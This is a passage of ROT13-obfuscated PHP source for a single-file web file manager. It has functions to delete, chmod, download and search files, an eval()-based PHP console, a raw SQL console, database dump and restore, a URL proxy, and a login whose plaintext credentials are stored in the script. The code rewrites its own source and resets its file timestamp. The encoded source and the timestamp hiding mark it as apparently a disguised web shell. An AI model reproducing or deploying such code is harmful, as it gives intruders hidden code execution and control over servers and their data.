			$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$genafyngvba_fgevat,$stp);
			vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
				$zft .= __('Svyr hcqngrq');
			}	ryfr $zft .= __('Reebe bppheerq');
			vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
		}	
		$ynat = wfba_qrpbqr($genafyngvba_fgevat,gehr);
	}
}

/* Shapgvbaf */

//genafyngvba
shapgvba __($grkg){
	tybony $ynat;
	vs (vffrg($ynat[$grkg])) erghea $ynat[$grkg];
	ryfr erghea $grkg;
};

//qryrgr svyrf naq qvef erphefviryl
shapgvba sz_qry_svyrf($svyr, $erphefvir = snyfr) {
	vs($erphefvir && @vf_qve($svyr)) {
		$ryf = sz_fpna_qve($svyr, '', '', gehr);
		sbernpu ($ryf nf $ry) {
			vs($ry != '.' && $ry != '..'){
				sz_qry_svyrf($svyr . '/' . $ry, gehr);
			}
		}
	}
	vs(@vf_qve($svyr)) {
		erghea ezqve($svyr);
	} ryfr {
		erghea @hayvax($svyr);
	}
}

//svyr crezf
shapgvba sz_evtugf_fgevat($svyr, $vs = snyfr){
	$crezf = svyrcrezf($svyr);
	$vasb = '';
	vs(!$vs){
		vs (($crezf & 0kP000) == 0kP000) {
			//Fbpxrg
			$vasb = 'f';
		} ryfrvs (($crezf & 0kN000) == 0kN000) {
			//Flzobyvp Yvax
			$vasb = 'y';
		} ryfrvs (($crezf & 0k8000) == 0k8000) {
			//Erthyne
			$vasb = '-';
		} ryfrvs (($crezf & 0k6000) == 0k6000) {
			//Oybpx fcrpvny
			$vasb = 'o';
		} ryfrvs (($crezf & 0k4000) == 0k4000) {
			//Qverpgbel
			$vasb = 'q';
		} ryfrvs (($crezf & 0k2000) == 0k2000) {
			//Punenpgre fcrpvny
			$vasb = 'p';
		} ryfrvs (($crezf & 0k1000) == 0k1000) {
			//SVSB cvcr
			$vasb = 'c';
		} ryfr {
			//Haxabja
			$vasb = 'h';
		}
	}
  
	//Bjare
	$vasb .= (($crezf & 0k0100) ? 'e' : '-');
	$vasb .= (($crezf & 0k0080) ? 'j' : '-');
	$vasb .= (($crezf & 0k0040) ?
	(($crezf & 0k0800) ? 'f' : 'k' ) :
	(($crezf & 0k0800) ? 'F' : '-'));
 
	//Tebhc
	$vasb .= (($crezf & 0k0020) ? 'e' : '-');
	$vasb .= (($crezf & 0k0010) ? 'j' : '-');
	$vasb .= (($crezf & 0k0008) ?
	(($crezf & 0k0400) ? 'f' : 'k' ) :
	(($crezf & 0k0400) ? 'F' : '-'));
 
	//Jbeyq
	$vasb .= (($crezf & 0k0004) ? 'e' : '-');
	$vasb .= (($crezf & 0k0002) ? 'j' : '-');
	$vasb .= (($crezf & 0k0001) ?
	(($crezf & 0k0200) ? 'g' : 'k' ) :
	(($crezf & 0k0200) ? 'G' : '-'));

	erghea $vasb;
}

shapgvba sz_pbaireg_evtugf($zbqr) {
	$zbqr = fge_cnq($zbqr,9,'-');
	$genaf = neenl('-'=>'0','e'=>'4','j'=>'2','k'=>'1');
	$zbqr = fgege($zbqr,$genaf);
	$arjzbqr = '0';
	$bjare = (vag) $zbqr[0] + (vag) $zbqr[1] + (vag) $zbqr[2]; 
	$tebhc = (vag) $zbqr[3] + (vag) $zbqr[4] + (vag) $zbqr[5]; 
	$jbeyq = (vag) $zbqr[6] + (vag) $zbqr[7] + (vag) $zbqr[8]; 
	$arjzbqr .= $bjare . $tebhc . $jbeyq;
	erghea vaginy($arjzbqr, 8);
}

shapgvba sz_puzbq($svyr, $iny, $erp = snyfr) {
	$erf = @puzbq(ernycngu($svyr), $iny);
	vs(@vf_qve($svyr) && $erp){
		$ryf = sz_fpna_qve($svyr);
		sbernpu ($ryf nf $ry) {
			$erf = $erf && sz_puzbq($svyr . '/' . $ry, $iny, gehr);
		}
	}
	erghea $erf;
}

//ybnq svyrf
shapgvba sz_qbjaybnq($svyr_anzr) {
    vs (!rzcgl($svyr_anzr)) {
		vs (svyr_rkvfgf($svyr_anzr)) {
			urnqre("Pbagrag-Qvfcbfvgvba: nggnpuzrag; svyranzr=" . onfranzr($svyr_anzr));   
			urnqre("Pbagrag-Glcr: nccyvpngvba/sbepr-qbjaybnq");
			urnqre("Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz");
			urnqre("Pbagrag-Glcr: nccyvpngvba/qbjaybnq");
			urnqre("Pbagrag-Qrfpevcgvba: Svyr Genafsre");            
			urnqre("Pbagrag-Yratgu: " . svyrfvmr($svyr_anzr));		
			syhfu(); // guvf qbrfa'g ernyyl znggre.
			$sc = sbcra($svyr_anzr, "e");
			juvyr (!srbs($sc)) {
				rpub sernq($sc, 65536);
				syhfu(); // guvf vf rffragvny sbe ynetr qbjaybnqf
			} 
			spybfr($sc);
			qvr();
		} ryfr {
			urnqre('UGGC/1.0 404 Abg Sbhaq', gehr, 404);
			urnqre('Fgnghf: 404 Abg Sbhaq'); 
			qvr();
        }
    } 
}

//fubj sbyqre fvmr
shapgvba sz_qve_fvmr($s,$sbezng=gehr) {
	vs($sbezng)  {
		$fvmr=sz_qve_fvmr($s,snyfr);
		vs($fvmr<=1024) erghea $fvmr.' olgrf';
		ryfrvs($fvmr<=1024*1024) erghea ebhaq($fvmr/(1024),2).'&aofc;Xo';
		ryfrvs($fvmr<=1024*1024*1024) erghea ebhaq($fvmr/(1024*1024),2).'&aofc;Zo';
		ryfrvs($fvmr<=1024*1024*1024*1024) erghea ebhaq($fvmr/(1024*1024*1024),2).'&aofc;To';
		ryfrvs($fvmr<=1024*1024*1024*1024*1024) erghea ebhaq($fvmr/(1024*1024*1024*1024),2).'&aofc;Go'; //:)))
		ryfr erghea ebhaq($fvmr/(1024*1024*1024*1024*1024),2).'&aofc;Co'; // ;-)
	} ryfr {
		vs(vf_svyr($s)) erghea svyrfvmr($s);
		$fvmr=0;
		$qu=bcraqve($s);
		juvyr(($svyr=ernqqve($qu))!==snyfr) {
			vs($svyr=='.' || $svyr=='..') pbagvahr;
			vs(vf_svyr($s.'/'.$svyr)) $fvmr+=svyrfvmr($s.'/'.$svyr);
			ryfr $fvmr+=sz_qve_fvmr($s.'/'.$svyr,snyfr);
		}
		pybfrqve($qu);
		erghea $fvmr+svyrfvmr($s); 
	}
}

//fpna qverpgbel
shapgvba sz_fpna_qve($qverpgbel, $rkc = '', $glcr = 'nyy', $qb_abg_svygre = snyfr) {
	$qve = $aqve = neenl();
	vs(!rzcgl($rkc)){
		$rkc = '/^' . fge_ercynpr('*', '(.*)', fge_ercynpr('.', '\\.', $rkc)) . '$/';
	}
	vs(!rzcgl($glcr) && $glcr !== 'nyy'){
		$shap = 'vf_' . $glcr;
	}
	vs(@vf_qve($qverpgbel)){
		$su = bcraqve($qverpgbel);
		juvyr (snyfr !== ($svyranzr = ernqqve($su))) {
			vs(fhofge($svyranzr, 0, 1) != '.' || $qb_abg_svygre) {
				vs((rzcgl($glcr) || $glcr == 'nyy' || $shap($qverpgbel . '/' . $svyranzr)) && (rzcgl($rkc) || cert_zngpu($rkc, $svyranzr))){
					$qve[] = $svyranzr;
				}
			}
		}
		pybfrqve($su);
		angfbeg($qve);
	}
	erghea $qve;
}

shapgvba sz_yvax($trg,$yvax,$anzr,$gvgyr='') {
	vs (rzcgl($gvgyr)) $gvgyr=$anzr.' '.onfranzr($yvax);
	erghea '&aofc;&aofc;<n uers="?'.$trg.'='.onfr64_rapbqr($yvax).'" gvgyr="'.$gvgyr.'">'.$anzr.'</n>';
}

shapgvba sz_nee_gb_bcgvba($nee,$a,$fry=''){
	sbernpu($nee nf $i){
		$o=$i[$a];
		$erf.='<bcgvba inyhr="'.$o.'" '.($fry && $fry==$o?'fryrpgrq':'').'>'.$o.'</bcgvba>';
	}
	erghea $erf;
}

shapgvba sz_ynat_sbez ($pheerag='ra'){
erghea '
<sbez anzr="punatr_ynat" zrgubq="cbfg" npgvba="">
	<fryrpg anzr="sz_ynat" gvgyr="'.__('Ynathntr').'" bapunatr="qbphzrag.sbezf[\'punatr_ynat\'].fhozvg()" >
		<bcgvba inyhr="ra" '.($pheerag=='ra'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Ratyvfu').'</bcgvba>
		<bcgvba inyhr="qr" '.($pheerag=='qr'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Trezna').'</bcgvba>
		<bcgvba inyhr="eh" '.($pheerag=='eh'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Ehffvna').'</bcgvba>
		<bcgvba inyhr="se" '.($pheerag=='se'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Serapu').'</bcgvba>
		<bcgvba inyhr="hx" '.($pheerag=='hx'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Hxenvavna').'</bcgvba>
	</fryrpg>
</sbez>
';
}
	
shapgvba sz_ebbg($qveanzr){
	erghea ($qveanzr=='.' BE $qveanzr=='..');
}

shapgvba sz_cuc($fgevat){
	$qvfcynl_reebef=vav_trg('qvfcynl_reebef');
	vav_frg('qvfcynl_reebef', '1');
	bo_fgneg();
	riny(gevz($fgevat));
	$grkg = bo_trg_pbagragf();
	bo_raq_pyrna();
	vav_frg('qvfcynl_reebef', $qvfcynl_reebef);
	erghea $grkg;
}

//FUBJ QNGNONFRF
shapgvba sz_fdy_pbaarpg(){
	tybony $sz_pbasvt;
	erghea arj zlfdyv($sz_pbasvt['fdy_freire'], $sz_pbasvt['fdy_hfreanzr'], $sz_pbasvt['fdy_cnffjbeq'], $sz_pbasvt['fdy_qo']);
}

shapgvba sz_fdy($dhrel){
	tybony $sz_pbasvt;
	$dhrel=gevz($dhrel);
	bo_fgneg();
	$pbaarpgvba = sz_fdy_pbaarpg();
	vs ($pbaarpgvba->pbaarpg_reebe) {
		bo_raq_pyrna();	
		erghea $pbaarpgvba->pbaarpg_reebe;
	}
	$pbaarpgvba->frg_punefrg('hgs8');
    $dhrevrq = zlfdyv_dhrel($pbaarpgvba,$dhrel);
	vs ($dhrevrq===snyfr) {
		bo_raq_pyrna();	
		erghea zlfdyv_reebe($pbaarpgvba);
    } ryfr {
		vs(!rzcgl($dhrevrq)){
			juvyr($ebj = zlfdyv_srgpu_nffbp($dhrevrq)) {
				$dhrel_erfhyg[]=  $ebj;
			}
		}
		$iqhzc=rzcgl($dhrel_erfhyg)?'':ine_rkcbeg($dhrel_erfhyg,gehr);	
		bo_raq_pyrna();	
		$pbaarpgvba->pybfr();
		erghea '<cer>'.fgevcfynfurf($iqhzc).'</cer>';
	}
}

shapgvba sz_onpxhc_gnoyrf($gnoyrf = '*', $shyy_onpxhc = gehr) {
	tybony $cngu;
	$zlfdyqo = sz_fdy_pbaarpg();
	$qryvzvgre = "; \a  \a";
	vs($gnoyrf == '*')	{
		$gnoyrf = neenl();
		$erfhyg = $zlfdyqo->dhrel('FUBJ GNOYRF');
		juvyr($ebj = zlfdyv_srgpu_ebj($erfhyg))	{
			$gnoyrf[] = $ebj[0];
		}
	} ryfr {
		$gnoyrf = vf_neenl($gnoyrf) ? $gnoyrf : rkcybqr(',',$gnoyrf);
	}
    
	$erghea='';
	sbernpu($gnoyrf nf $gnoyr)	{
		$erfhyg = $zlfdyqo->dhrel('FRYRPG * SEBZ '.$gnoyr);
		$ahz_svryqf = zlfdyv_ahz_svryqf($erfhyg);
		$erghea.= 'QEBC GNOYR VS RKVFGF `'.$gnoyr.'`'.$qryvzvgre;
		$ebj2 = zlfdyv_srgpu_ebj($zlfdyqo->dhrel('FUBJ PERNGR GNOYR '.$gnoyr));
		$erghea.=$ebj2[1].$qryvzvgre;
        vs ($shyy_onpxhc) {
		sbe ($v = 0; $v < $ahz_svryqf; $v++)  {
			juvyr($ebj = zlfdyv_srgpu_ebj($erfhyg)) {
				$erghea.= 'VAFREG VAGB `'.$gnoyr.'` INYHRF(';
				sbe($w=0; $w<$ahz_svryqf; $w++)	{
					$ebj[$w] = nqqfynfurf($ebj[$w]);
					$ebj[$w] = fge_ercynpr("\a","\\a",$ebj[$w]);
					vs (vffrg($ebj[$w])) { $erghea.= '"'.$ebj[$w].'"' ; } ryfr { $erghea.= '""'; }
					vs ($w<($ahz_svryqf-1)) { $erghea.= ','; }
				}
				$erghea.= ')'.$qryvzvgre;
			}
		  }
		} ryfr { 
		$erghea = cert_ercynpr("#NHGB_VAPERZRAG=[\q]+ #vf", '', $erghea);
		}
		$erghea.="\a\a\a";
	}

	//fnir svyr
    $svyr=tzqngr("L-z-q_U-v-f",gvzr()).'.fdy';
	$unaqyr = sbcra($svyr,'j+');
	sjevgr($unaqyr,$erghea);
	spybfr($unaqyr);
	$nyreg = 'baPyvpx="vs(pbasvez(\''. __('Svyr fryrpgrq').': \a'. $svyr. '. \a'.__('Ner lbh fher lbh jnag gb qryrgr guvf svyr?') . '\')) qbphzrag.ybpngvba.uers = \'?qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"';
    erghea $svyr.': '.sz_yvax('qbjaybnq',$cngu.$svyr,__('Qbjaybnq'),__('Qbjaybnq').' '.$svyr).' <n uers="#" gvgyr="' . __('Qryrgr') . ' '. $svyr . '" ' . $nyreg . '>' . __('Qryrgr') . '</n>';
}

shapgvba sz_erfgber_gnoyrf($fdySvyrGbRkrphgr) {
	$zlfdyqo = sz_fdy_pbaarpg();
	$qryvzvgre = "; \a  \a";
    // Ybnq naq rkcybqr gur fdy svyr
    $s = sbcra($fdySvyrGbRkrphgr,"e+");
    $fdySvyr = sernq($s,svyrfvmr($fdySvyrGbRkrphgr));
    $fdyNeenl = rkcybqr($qryvzvgre,$fdySvyr);
	
    //Cebprff gur fdy svyr ol fgngrzragf
    sbernpu ($fdyNeenl nf $fgzg) {
        vs (fgeyra($fgzg)>3){
			$erfhyg = $zlfdyqo->dhrel($fgzg);
				vs (!$erfhyg){
					$fdyReebePbqr = zlfdyv_reeab($zlfdyqo->pbaarpgvba);
					$fdyReebeGrkg = zlfdyv_reebe($zlfdyqo->pbaarpgvba);
					$fdyFgzg      = $fgzg;
					oernx;
           	     }
           	  }
           }
vs (rzcgl($fdyReebePbqr)) erghea __('Fhpprff').' — '.$fdySvyrGbRkrphgr;
ryfr erghea $fdyReebeGrkg.'<oe/>'.$fgzg;
}

shapgvba sz_vzt_yvax($svyranzr){
	erghea './'.onfranzr(__SVYR__).'?vzt='.onfr64_rapbqr($svyranzr);
}

shapgvba sz_ubzr_fglyr(){
	erghea '
vachg, vachg.sz_vachg {
	grkg-vaqrag: 2ck;
}

vachg, grkgnern, fryrpg, vachg.sz_vachg {
	pbybe: oynpx;
	sbag: abezny 8cg Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	obeqre-pbybe: oynpx;
	onpxtebhaq-pbybe: #SPSPSP abar !vzcbegnag;
	obeqre-enqvhf: 0;
	cnqqvat: 2ck;
}

vachg.sz_vachg {
	onpxtebhaq: #SPSPSP abar !vzcbegnag;
	phefbe: cbvagre;
}

.ubzr {
	onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNZNNNNbYD9GNNNNOTqOGHRNNX/VAjJX6DNNNtEDGSES/s396Bwb////gG02me+sj66Egw432GRc3ZKR2QNe3GLc1l4zgQj2/7OZ/7OBdIcp/8y31wpdd6rajpUO2Gtv5wtdIcoSien2aONI/Cm82F0wak0J3GHxdFtv4rUu4Gfer4jbfm026hCwmTLq6Hf3laNlqHON5Xy3sz5rdMnJ7BQtv2It+Cw4hL+RjYz5oL9H//7wsYgP+gBX3wpz/71h2wLb1HLu5nWy/frP3wRz12xzWeVN1wZz/9nH4Yu0r01OyVnR///quZqP7VN//sGM2p3ZJ6aA30js95Iq4WqKbKIbf8aR4rsA/+63VWtFaLuy7S4pfKg89TDHjY+/wy1p41Nd+so2tzgV1eXn2P4xWnVN3wLeyGj5gw423wLa3pKR1mDbkZUOc1yM3Qtzdvxf/+zpwYX83wLxlzZI3GLx//UZ+h7Juzge0bqGcnBwsJWseUct/8Of/7gJ/7Ir+4H52QZz3ZYOa4dYtAIZ6ZmO3yRsyVhY/+wN///20YBmwKk8/7yoJcWT2P8x3GbfWXZN1ljwbcBE1mLc5Qfcvnl+lXAudXFx8AJ6/swaf7Bm2gaMhm887o+J3nEL/+zf4ePR3Gbg7I85oXkwhRN3j45Iu5hud6nz4pSktMMJ/9dVhjtXl0fJ+hwG4GDagm423P8v3mHw/+Xj/n5q6HZkhY6jmQRe////pdWDsNNNNXk0Hx5G////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////NNJISoRNNNNMqRILqSAiMaE3LKWyNRSxo2WyVRygLJqyHzIuMUyklJH8NNNN2HyRDIDbH2ALwDLLfNvR8H9LmQLwIcTMEkZvRPvgZeIMibZeGyD2RFEDW2SIjvaLozdGHYbbuaR1t1nXTF/sAZgx40lM9XIYDutLxhL7AkDiKlUISAaXmE69dckOCZrm0RGNDlGHiFbtnVSnCpAdI/Z5qun2Ey2Gvzo6M+DOQL1KA/Foh8kSYT3rYQsy2HNOwvyB1b012M3rx1yMIVJNNzHGX6Y0f3cK+ww6chM2NjJHiOEncufjZqHhwPvjQjn5IRqCV7laHyp7i1dLHEYdhs42um45POCQgjNPez+EQpkWLNNNNNOWEH5RexWttt==");
	onpxtebhaq-ercrng: ab-ercrng;
}';
}

shapgvba sz_pbasvt_purpxobk_ebj($anzr,$inyhr) {
	tybony $sz_pbasvt;
	erghea '<ge><gq pynff="ebj1"><vachg vq="sz_pbasvt_'.$inyhr.'" anzr="sz_pbasvt['.$inyhr.']" inyhr="1" '.(rzcgl($sz_pbasvt[$inyhr])?'':'purpxrq="gehr"').' glcr="purpxobk"></gq><gq pynff="ebj2 jubyr"><ynory sbe="sz_pbasvt_'.$inyhr.'">'.$anzr.'</gq></ge>';
}

shapgvba sz_cebgbpby() {
	vs (vffrg($_FREIRE['UGGC_FPURZR'])) erghea $_FREIRE['UGGC_FPURZR'].'://';
	vs (vffrg($_FREIRE['UGGCF']) && $_FREIRE['UGGCF'] == 'ba') erghea 'uggcf://';
	vs (vffrg($_FREIRE['FREIRE_CBEG']) && $_FREIRE['FREIRE_CBEG'] == 443) erghea 'uggcf://';
	vs (vffrg($_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB']) && $_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB'] == 'uggcf') erghea 'uggcf://';
	erghea 'uggc://';
}

shapgvba sz_fvgr_hey() {
	erghea sz_cebgbpby().$_FREIRE['UGGC_UBFG'];
}

shapgvba sz_hey($shyy=snyfr) {
	$ubfg=$shyy?sz_fvgr_hey():'.';
	erghea $ubfg.'/'.onfranzr(__SVYR__);
}

shapgvba sz_ubzr($shyy=snyfr){
	erghea '&aofc;<n uers="'.sz_hey($shyy).'" gvgyr="'.__('Ubzr').'"><fcna pynff="ubzr">&aofc;&aofc;&aofc;&aofc;</fcna></n>';
}

shapgvba sz_eha_vachg($yat) {
	tybony $sz_pbasvt;
	$erghea = !rzcgl($sz_pbasvt['ranoyr_'.$yat.'_pbafbyr']) ? 
	'
				<sbez  zrgubq="cbfg" npgvba="'.sz_hey().'" fglyr="qvfcynl:vayvar">
				<vachg glcr="fhozvg" anzr="'.$yat.'eha" inyhr="'.fgegbhccre($yat).' '.__('Pbafbyr').'">
				</sbez>
' : '';
	erghea $erghea;
}

shapgvba sz_hey_cebkl($zngpurf) {
	$yvax = fge_ercynpr('&nzc;','&',$zngpurf[2]);
	$hey = vffrg($_TRG['hey'])?$_TRG['hey']:'';
	$cnefr_hey = cnefr_hey($hey);
	$ubfg = $cnefr_hey['fpurzr'].'://'.$cnefr_hey['ubfg'].'/';
	vs (fhofge($yvax,0,2)=='//') {
		$yvax = fhofge_ercynpr($yvax,sz_cebgbpby(),0,2);
	} ryfrvs (fhofge($yvax,0,1)=='/') {
		$yvax = fhofge_ercynpr($yvax,$ubfg,0,1);	
	} ryfrvs (fhofge($yvax,0,2)=='./') {
		$yvax = fhofge_ercynpr($yvax,$ubfg,0,2);	
	} ryfrvs (fhofge($yvax,0,4)=='uggc') {
		//nyyrf znpura jhaqrefpuba
	} ryfr {
		$yvax = $ubfg.$yvax;
	} 
	vs ($zngpurf[1]=='uers' && !fgeevcbf($yvax, 'pff')) {
		$onfr = sz_fvgr_hey().'/'.onfranzr(__SVYR__);
		$onfrd = $onfr.'?cebkl=gehr&hey=';
		$yvax = $onfrd.heyrapbqr($yvax);
	} ryfrvs (fgeevcbf($yvax, 'pff')){
		//как-то тоже подменять надо
	}
	erghea $zngpurf[1].'="'.$yvax.'"';
}
 
shapgvba sz_gcy_sbez($yat_gcy) {
	tybony ${$yat_gcy.'_grzcyngrf'};
	$gcy_nee = wfba_qrpbqr(${$yat_gcy.'_grzcyngrf'},gehr);
	$fge = '';
	sbernpu ($gcy_nee nf $xgcy=>$igcy) {
		$fge .= '<ge><gq pynff="ebj1"><vachg anzr="'.$yat_gcy.'_anzr[]" inyhr="'.$xgcy.'"></gq><gq pynff="ebj2 jubyr"><grkgnern anzr="'.$yat_gcy.'_inyhr[]"  pbyf="55" ebjf="5" pynff="grkgnern_vachg">'.$igcy.'</grkgnern> <vachg anzr="qry_'.enaq().'" glcr="ohggba" baPyvpx="guvf.cneragAbqr.cneragAbqr.erzbir();" inyhr="'.__('Qryrgr').'"/></gq></ge>';
	}
erghea '
<gnoyr>
<ge><gu pbyfcna="2">'.fgegbhccre($yat_gcy).' '.__('grzcyngrf').' '.sz_eha_vachg($yat_gcy).'</gu></ge>
<sbez zrgubq="cbfg" npgvba="">
<vachg glcr="uvqqra" inyhr="'.$yat_gcy.'" anzr="gcy_rqvgrq">
<ge><gq pynff="ebj1">'.__('Anzr').'</gq><gq pynff="ebj2 jubyr">'.__('Inyhr').'</gq></ge>
'.$fge.'
<ge><gq pbyfcna="2" pynff="ebj3"><vachg anzr="erf" glcr="ohggba" baPyvpx="qbphzrag.ybpngvba.uers = \''.sz_hey().'?sz_frggvatf=gehr\';" inyhr="'.__('Erfrg').'"/> <vachg glcr="fhozvg" inyhr="'.__('Fnir').'" ></gq></ge>
</sbez>
<sbez zrgubq="cbfg" npgvba="">
<vachg glcr="uvqqra" inyhr="'.$yat_gcy.'" anzr="gcy_rqvgrq">
<ge><gq pynff="ebj1"><vachg anzr="'.$yat_gcy.'_arj_anzr" inyhr="" cynprubyqre="'.__('Arj').' '.__('Anzr').'"></gq><gq pynff="ebj2 jubyr"><grkgnern anzr="'.$yat_gcy.'_arj_inyhr"  pbyf="55" ebjf="5" pynff="grkgnern_vachg" cynprubyqre="'.__('Arj').' '.__('Inyhr').'"></grkgnern></gq></ge>
<ge><gq pbyfcna="2" pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Nqq').'" ></gq></ge>
</sbez>
</gnoyr>
';
}

shapgvba svaq_grkg_va_svyrf($qve, $znfx, $grkg) {
    $erfhygf = neenl();
    vs ($unaqyr = bcraqve($qve)) {
        juvyr (snyfr !== ($ragel = ernqqve($unaqyr))) {
            vs ($ragel != "." && $ragel != "..") {
                $cngu = $qve . "/" . $ragel;
                vs (vf_qve($cngu)) {
                    $erfhygf = neenl_zretr($erfhygf, svaq_grkg_va_svyrf($cngu, $znfx, $grkg));
                } ryfr {
                    vs (sazngpu($znfx, $ragel)) {
                        $pbagragf = svyr_trg_pbagragf($cngu);
                        vs (fgecbf($pbagragf, $grkg) !== snyfr) {
                            $erfhygf[] = fge_ercynpr('//', '/', $cngu);
                        }
                    }
                }
            }
        }
        pybfrqve($unaqyr);
    }
    erghea $erfhygf;
}


/* Raq Shapgvbaf */

// nhgubevmngvba
vs ($nhgu['nhgubevmr']) {
	vs (vffrg($_CBFG['ybtva']) && vffrg($_CBFG['cnffjbeq'])){
		vs (($_CBFG['ybtva']==$nhgu['ybtva']) && ($_CBFG['cnffjbeq']==$nhgu['cnffjbeq'])) {
			frgpbbxvr($nhgu['pbbxvr_anzr'], $nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']), gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
			$_PBBXVR[$nhgu['pbbxvr_anzr']]=$nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']);
		}
	}
	vs (!vffrg($_PBBXVR[$nhgu['pbbxvr_anzr']]) BE ($_PBBXVR[$nhgu['pbbxvr_anzr']]!=$nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']))) {
		rpub '
<!qbpglcr ugzy>
<ugzy>
<urnq>
<zrgn punefrg="hgs-8" />
<zrgn anzr="ivrjcbeg" pbagrag="jvqgu=qrivpr-jvqgu, vavgvny-fpnyr=1" />
<gvgyr>'.__('Svyr znantrek').'</gvgyr>
</urnq>
<obql>
<sbez npgvba="" zrgubq="cbfg">
'.__('Ybtva').' <vachg anzr="ybtva" glcr="grkg">&aofc;&aofc;&aofc;
'.__('Cnffjbeq').' <vachg anzr="cnffjbeq" glcr="cnffjbeq">&aofc;&aofc;&aofc;
<vachg glcr="fhozvg" inyhr="'.__('Ragre').'" pynff="sz_vachg">
</sbez>
'.sz_ynat_sbez($ynathntr).'
</obql>
</ugzy>
';  
qvr();
	}
	vs (vffrg($_CBFG['dhvg'])) {
		hafrg($_PBBXVR[$nhgu['pbbxvr_anzr']]);
		frgpbbxvr($nhgu['pbbxvr_anzr'], '', gvzr() - (86400 * $nhgu['qnlf_nhgubevmngvba']));
		urnqre('Ybpngvba: '.sz_fvgr_hey().$_FREIRE['ERDHRFG_HEV']);
	}
}

// Punatr pbasvt
vs (vffrg($_TRG['sz_frggvatf'])) {
	vs (vffrg($_TRG['sz_pbasvt_qryrgr'])) { 
		hafrg($_PBBXVR['sz_pbasvt']);
		frgpbbxvr('sz_pbasvt', '', gvzr() - (86400 * $nhgu['qnlf_nhgubevmngvba']));
		urnqre('Ybpngvba: '.sz_hey().'?sz_frggvatf=gehr');
		rkvg(0);
	}	ryfrvs (vffrg($_CBFG['sz_pbasvt'])) { 
		$sz_pbasvt = $_CBFG['sz_pbasvt'];
		frgpbbxvr('sz_pbasvt', frevnyvmr($sz_pbasvt), gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
		$_PBBXVR['sz_pbasvt'] = frevnyvmr($sz_pbasvt);
		$zft = __('Frggvatf').' '.__('qbar');
	}	ryfrvs (vffrg($_CBFG['sz_ybtva'])) { 
		vs (rzcgl($_CBFG['sz_ybtva']['nhgubevmr'])) $_CBFG['sz_ybtva'] = neenl('nhgubevmr' => '0') + $_CBFG['sz_ybtva'];
		$sz_ybtva = wfba_rapbqr($_CBFG['sz_ybtva']);
		$stp = svyr_trg_pbagragf(__SVYR__);
		$frnepu = cert_zngpu('#nhgubevmngvba[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
		vs (!rzcgl($zngpurf[1])) {
			$svyrzgvzr = svyrzgvzr(__SVYR__);
			$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$sz_ybtva,$stp);
			vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
				$zft .= __('Svyr hcqngrq');
				vs ($_CBFG['sz_ybtva']['ybtva'] != $nhgu['ybtva']) $zft .= ' '.__('Ybtva').': '.$_CBFG['sz_ybtva']['ybtva'];
				vs ($_CBFG['sz_ybtva']['cnffjbeq'] != $nhgu['cnffjbeq']) $zft .= ' '.__('Cnffjbeq').': '.$_CBFG['sz_ybtva']['cnffjbeq'];
				$nhgu = $_CBFG['sz_ybtva'];
			}
			ryfr $zft .= __('Reebe bppheerq');
			vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
		}
	} ryfrvs (vffrg($_CBFG['gcy_rqvgrq'])) { 
		$yat_gcy = $_CBFG['gcy_rqvgrq'];
		vs (!rzcgl($_CBFG[$yat_gcy.'_anzr'])) {
			$sz_cuc = wfba_rapbqr(neenl_pbzovar($_CBFG[$yat_gcy.'_anzr'],$_CBFG[$yat_gcy.'_inyhr']),WFBA_URK_NCBF);
		} ryfrvs (!rzcgl($_CBFG[$yat_gcy.'_arj_anzr'])) {
			$sz_cuc = wfba_rapbqr(wfba_qrpbqr(${$yat_gcy.'_grzcyngrf'},gehr)+neenl($_CBFG[$yat_gcy.'_arj_anzr']=>$_CBFG[$yat_gcy.'_arj_inyhr']),WFBA_URK_NCBF);
		}
		vs (!rzcgl($sz_cuc)) {
			$stp = svyr_trg_pbagragf(__SVYR__);
			$frnepu = cert_zngpu('#'.$yat_gcy.'_grzcyngrf[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
			vs (!rzcgl($zngpurf[1])) {
				$svyrzgvzr = svyrzgvzr(__SVYR__);
				$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$sz_cuc,$stp);
				vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
					${$yat_gcy.'_grzcyngrf'} = $sz_cuc;
					$zft .= __('Svyr hcqngrq');
				} ryfr $zft .= __('Reebe bppheerq');
				vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
			}	
		} ryfr $zft .= __('Reebe bppheerq');
	}
}

// Whfg fubj vzntr
vs (vffrg($_TRG['vzt'])) {
	$svyr=onfr64_qrpbqr($_TRG['vzt']);
	vs ($vasb=trgvzntrfvmr($svyr)){
		fjvgpu  ($vasb[2]){	//1=TVS, 2=WCT, 3=CAT, 4=FJS, 5=CFQ, 6=OZC
			pnfr 1: $rkg='tvs'; oernx;
			pnfr 2: $rkg='wcrt'; oernx;
			pnfr 3: $rkg='cat'; oernx;
			pnfr 6: $rkg='ozc'; oernx;
